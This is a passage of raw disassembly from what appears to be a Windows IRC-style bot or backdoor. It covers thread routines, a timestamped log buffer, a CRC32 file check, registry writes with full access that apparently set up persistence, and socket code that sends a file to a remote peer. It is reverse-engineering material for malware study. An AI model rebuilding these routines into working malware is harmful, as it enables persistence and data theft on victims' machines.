		xor	esi, esi
		mov	edi, 80h
		inc	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42BA30
		call	sub_415390
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_415390
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_415390
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_415390
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43C45C
		test	eax, eax
		jz	loc_40AEF2
		cmp	[ebp+var_34], ebx
		jbe	short loc_40AE29
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_40AE29:				; CODE XREF: sub_40AD52+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40AE47
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_40AE47:				; CODE XREF: sub_40AD52+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40AE61
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_40AE61:				; CODE XREF: sub_40AD52+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40AE7B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_40AE7B:				; CODE XREF: sub_40AD52+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43C504
		call	dword_43C528
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40AF08
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43C51C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40AF0F
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43C4D0
		test	eax, eax
		lea	eax, [ebp+var_55C]
		jz	short loc_40AEEB
		push	offset dword_42BA00
		jmp	short loc_40AF1A
; ---------------------------------------------------------------------------


loc_40AEEB:				; CODE XREF: sub_40AD52+190j
		push	offset unk_42B9B0
		jmp	short loc_40AF1A
; ---------------------------------------------------------------------------


loc_40AEF2:				; CODE XREF: sub_40AD52+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42B97C
		push	eax
		call	sub_415316
		mov	esi, [ebp+var_C]
		jmp	short loc_40AF20
; ---------------------------------------------------------------------------


loc_40AF08:				; CODE XREF: sub_40AD52+153j
		push	offset unk_42B93C
		jmp	short loc_40AF14
; ---------------------------------------------------------------------------


loc_40AF0F:				; CODE XREF: sub_40AD52+17Bj
		push	offset unk_42B8F8


loc_40AF14:				; CODE XREF: sub_40AD52+1BBj
		lea	eax, [ebp+var_55C]


loc_40AF1A:				; CODE XREF: sub_40AD52+197j
					; sub_40AD52+19Ej
		push	eax
		call	sub_415316


loc_40AF20:				; CODE XREF: sub_40AD52+1B4j
		cmp	[ebp+var_1D4], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_40AF4D
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_412BD1
		add	esp, 14h


loc_40AF4D:				; CODE XREF: sub_40AD52+1D6j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40B078
		pop	ecx
		push	esi
		call	dword_43C588
		push	[ebp+var_4]
		call	dword_43C588
		push	[ebp+var_1D8]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40AD52	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF80	proc near		; CODE XREF: sub_40CD3A+42C1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_440948
		mov	edi, 0B8h


loc_40AF94:				; CODE XREF: sub_40AF80+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40AFB7
		push	[ebp+arg_0]
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFB7
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_4414C8
		jl	short loc_40AF94
		jmp	short loc_40AFF9
; ---------------------------------------------------------------------------


loc_40AFB7:				; CODE XREF: sub_40AF80+17j
					; sub_40AF80+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_440948[esi]
		push	ebx
		call	sub_415390
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_416BE0
		push	9Fh
		lea	eax, dword_440960[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_416BE0
		add	esp, 24h
		inc	dword_42E870
		pop	ebx


loc_40AFF9:				; CODE XREF: sub_40AF80+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40AF80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B000	proc near		; CODE XREF: sub_40CD3A+5551p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42BA40
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_440948


loc_40B02A:				; CODE XREF: sub_40B000+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40B065
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42BA34
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41588A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 2Ch


loc_40B065:				; CODE XREF: sub_40B000+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_4414C8
		jl	short loc_40B02A
		pop	edi
		pop	esi
		leave
		retn
sub_40B000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B078	proc near		; CODE XREF: sub_401000+97p
					; sub_4010B2+32Cp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_42105C	; GetLocalTime
		mov	ebx, offset dword_440910
		mov	edi, 80h
		mov	esi, offset dword_43C910


loc_40B09A:				; CODE XREF: sub_40B078+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40B0B1
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_40B0B1:				; CODE XREF: sub_40B078+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40B09A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41588A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0EC	proc near		; CODE XREF: sub_407B36+148p
					; sub_407CBD+15Cp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41732F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40B078
		add	esp, 14h
		leave
		retn
sub_40B0EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B118	proc near		; CODE XREF: sub_40CD3A+5449p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43C910
		xor	ecx, ecx


loc_40B11F:				; CODE XREF: sub_40B118+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_440910
		jl	short loc_40B11F
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42BA74
		jnz	short loc_40B14F
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_40B14F:				; CODE XREF: sub_40B118+1Fj
		push	esi
		call	sub_40B078
		pop	ecx
		pop	esi
		retn
sub_40B118	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B158	proc near		; CODE XREF: sub_4033B6+298p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43C910


loc_40B15E:				; CODE XREF: sub_40B158+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40B173
		push	[esp+4+arg_0]
		push	esi
		call	sub_409A63
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B185


loc_40B173:				; CODE XREF: sub_40B158+9j
		add	esi, 80h
		cmp	esi, offset dword_440910
		jl	short loc_40B15E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B185:				; CODE XREF: sub_40B158+19j
		xor	eax, eax
		pop	esi
		inc	eax
		retn
sub_40B158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B18A	proc near		; DATA XREF: sub_40CD3A+54FCo

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		xor	edx, edx
		rep movsd
		xor	edi, edi
		mov	[ebp+var_8], 80h
		inc	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40B1DD
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42BADC
		push	eax
		push	[ebp+var_11C]
		call	sub_412BD1
		add	esp, 14h


loc_40B1DD:				; CODE XREF: sub_40B18A+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40B1FD
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41587F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40B1FD
		mov	[ebp+var_8], eax


loc_40B1FD:				; CODE XREF: sub_40B18A+5Aj
					; sub_40B18A+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43C910


loc_40B206:				; CODE XREF: sub_40B18A+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40B260
		cmp	byte ptr [esi],	0
		jz	short loc_40B24F
		cmp	[ebp+var_98], 0
		jz	short loc_40B235
		cmp	[ebp+var_4], 0
		jnz	short loc_40B235
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_409A63
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B24F


loc_40B235:				; CODE XREF: sub_40B18A+90j
					; sub_40B18A+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_412BD1
		add	esp, 14h


loc_40B24F:				; CODE XREF: sub_40B18A+87j
					; sub_40B18A+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_440910
		jl	short loc_40B206


loc_40B260:				; CODE XREF: sub_40B18A+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42BAAC
		push	eax
		call	sub_415316
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40B29A
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_412BD1
		add	esp, 14h


loc_40B29A:				; CODE XREF: sub_40B18A+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40B078
		push	[ebp+var_18]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_40B18A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B9	proc near		; CODE XREF: sub_409D34+1Ep
					; sub_40C574+341p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		mov	ebx, offset dword_42C2D8


loc_40B2C9:				; CODE XREF: sub_40B2B9+6Aj
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	edi
		push	0F003Fh
		push	edi
		push	edi
		push	edi
		push	off_42BB04[esi]
		push	dword_42BB00[esi]
		call	dword_43C508
		cmp	[ebp+arg_0], edi
		jz	short loc_40B30A
		push	[ebp+arg_0]
		call	sub_415B10
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	edi
		push	ebx
		push	[ebp+var_4]
		call	dword_43C578
		jmp	short loc_40B314
; ---------------------------------------------------------------------------


loc_40B30A:				; CODE XREF: sub_40B2B9+33j
		push	ebx
		push	[ebp+var_4]
		call	dword_43C4C0


loc_40B314:				; CODE XREF: sub_40B2B9+4Fj
		push	[ebp+var_4]
		call	dword_43C530
		add	esi, 8
		cmp	esi, 18h
		jb	short loc_40B2C9
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B32A	proc near		; CODE XREF: sub_40B363+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		or	esi, 0FFFFFFFFh
		test	edi, edi
		jz	short loc_40B35C
		mov	ecx, 0FFh
		push	ebx


loc_40B341:				; CODE XREF: sub_40B32A+2Fj
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_421260[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40B341
		pop	ebx


loc_40B35C:				; CODE XREF: sub_40B32A+Fj
		mov	eax, esi
		pop	edi
		not	eax
		pop	esi
		retn
sub_40B32A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B363	proc near		; CODE XREF: sub_40BBF7+23Fp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_415BE9
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_415A08
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jnz	short loc_40B3AE


loc_40B388:				; CODE XREF: sub_40B363+37j
		xor	eax, eax
		jmp	short loc_40B3CF
; ---------------------------------------------------------------------------


loc_40B38C:				; CODE XREF: sub_40B363+4Fj
		inc	ebx
		push	ebx
		push	esi
		call	sub_41737F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40B388
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_416A57
		add	esp, 10h


loc_40B3AE:				; CODE XREF: sub_40B363+23j
		test	byte ptr [edi+0Ch], 10h
		jz	short loc_40B38C
		dec	ebx
		push	ebx
		push	esi
		call	sub_40B32A
		push	esi
		mov	ebx, eax
		call	sub_415C9B
		push	edi
		call	sub_415960
		add	esp, 10h
		mov	eax, ebx


loc_40B3CF:				; CODE XREF: sub_40B363+27j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B363	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3D3	proc near		; CODE XREF: sub_40B459+33p
					; sub_40B9BC+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43C5D4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40B44F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43C554
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43C594
		cmp	eax, esi
		jnz	short loc_40B434
		push	[ebp+arg_0]
		call	dword_43C5D8
		test	eax, eax
		jz	short loc_40B44F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40B434:				; CODE XREF: sub_40B3D3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43C4FC
		cmp	eax, esi
		jnz	short loc_40B453
		push	edi
		call	dword_43C5EC


loc_40B44F:				; CODE XREF: sub_40B3D3+1Bj
					; sub_40B3D3+58j
		mov	eax, esi
		jmp	short loc_40B455
; ---------------------------------------------------------------------------


loc_40B453:				; CODE XREF: sub_40B3D3+73j
		mov	eax, edi


loc_40B455:				; CODE XREF: sub_40B3D3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40B3D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B459	proc near		; DATA XREF: sub_40CD3A+A26o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	[ebp+var_14]
		xor	esi, esi
		inc	esi
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40B3D3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B4EC
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BBA4
		push	eax
		call	sub_415316
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40B4CF
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412BD1
		add	esp, 14h


loc_40B4CF:				; CODE XREF: sub_40B459+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B078
		push	[ebp+var_10]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40B4EC:				; CODE XREF: sub_40B459+3Fj
		push	offset byte_43B188
		push	ebx
		call	sub_40A71A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B557
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BB60
		push	eax
		call	sub_415316
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40B533
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412BD1
		add	esp, 14h


loc_40B533:				; CODE XREF: sub_40B459+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B078
		pop	ecx
		push	ebx
		call	dword_43C5EC
		push	[ebp+var_10]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40B557:				; CODE XREF: sub_40B459+A3j
		push	64h
		call	dword_421060	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_40B566:				; CODE XREF: sub_40B459+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43C56C
		test	eax, eax
		jle	short loc_40B5C3
		lea	eax, [ebp+var_11B4]
		push	offset asc_426CF0 ; "\n"
		push	eax
		call	sub_415A30
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40A506
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40B5C3
		push	64h
		call	dword_421060	; Sleep
		push	7
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jnz	short loc_40B566


loc_40B5C3:				; CODE XREF: sub_40B459+130j
					; sub_40B459+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BB18
		push	eax
		call	sub_415316
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40B5F6
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412BD1
		add	esp, 14h


loc_40B5F6:				; CODE XREF: sub_40B459+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B078
		pop	ecx
		push	ebx
		call	dword_43C5EC
		push	[ebp+var_10]
		call	sub_4150F0
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
sub_40B459	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B61A	proc near		; DATA XREF: sub_40CD3A+46A9o

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		xor	ebx, ebx
		xor	esi, esi
		inc	ebx
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_10], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43C5D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40B668
		push	offset dword_42BD44
		jmp	loc_40B821
; ---------------------------------------------------------------------------


loc_40B668:				; CODE XREF: sub_40B61A+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43C554
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43C580
		test	eax, eax
		jz	short loc_40B6A6
		push	offset dword_42BD0C
		jmp	loc_40B821
; ---------------------------------------------------------------------------


loc_40B6A6:				; CODE XREF: sub_40B61A+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43C4F8
		push	[ebp+var_2E]
		call	dword_43C490
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_415B10
		pop	ecx


loc_40B6D8:				; CODE XREF: sub_40B61A+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40B6EB
		push	5Fh
		pop	eax
		jmp	short loc_40B6EE
; ---------------------------------------------------------------------------


loc_40B6EB:				; CODE XREF: sub_40B61A+CAj
		movsx	eax, al


loc_40B6EE:				; CODE XREF: sub_40B61A+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_415B10
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40B6D8
		push	ebx
		push	edi
		call	dword_43C57C
		test	eax, eax
		jz	short loc_40B721
		push	offset dword_42BBA4
		jmp	loc_40B821
; ---------------------------------------------------------------------------


loc_40B721:				; CODE XREF: sub_40B61A+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40B74B
		push	offset dword_42BCD8
		jmp	loc_40B821
; ---------------------------------------------------------------------------


loc_40B74B:				; CODE XREF: sub_40B61A+125j
		push	esi
		push	eax
		call	dword_421090	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40A08A
		pop	ecx
		push	eax
		call	dword_43C594
		push	eax
		call	dword_43C550
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42BCC0
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_412BD1
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43C53C
		test	eax, eax
		jg	short loc_40B7FB
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42BC94
		push	eax
		push	[ebp+var_1FC]
		call	sub_412BD1
		jmp	loc_40B91F
; ---------------------------------------------------------------------------


loc_40B7FB:				; CODE XREF: sub_40B61A+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43C5E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40B834
		push	offset dword_42BC5C


loc_40B821:				; CODE XREF: sub_40B61A+49j
					; sub_40B61A+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	loc_40B922
; ---------------------------------------------------------------------------


loc_40B834:				; CODE XREF: sub_40B61A+200j
		push	edi
		call	dword_43C5EC
		cmp	[ebp+arg_0], esi
		jz	loc_40B8E6
		mov	edi, 400h


loc_40B849:				; CODE XREF: sub_40B61A+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
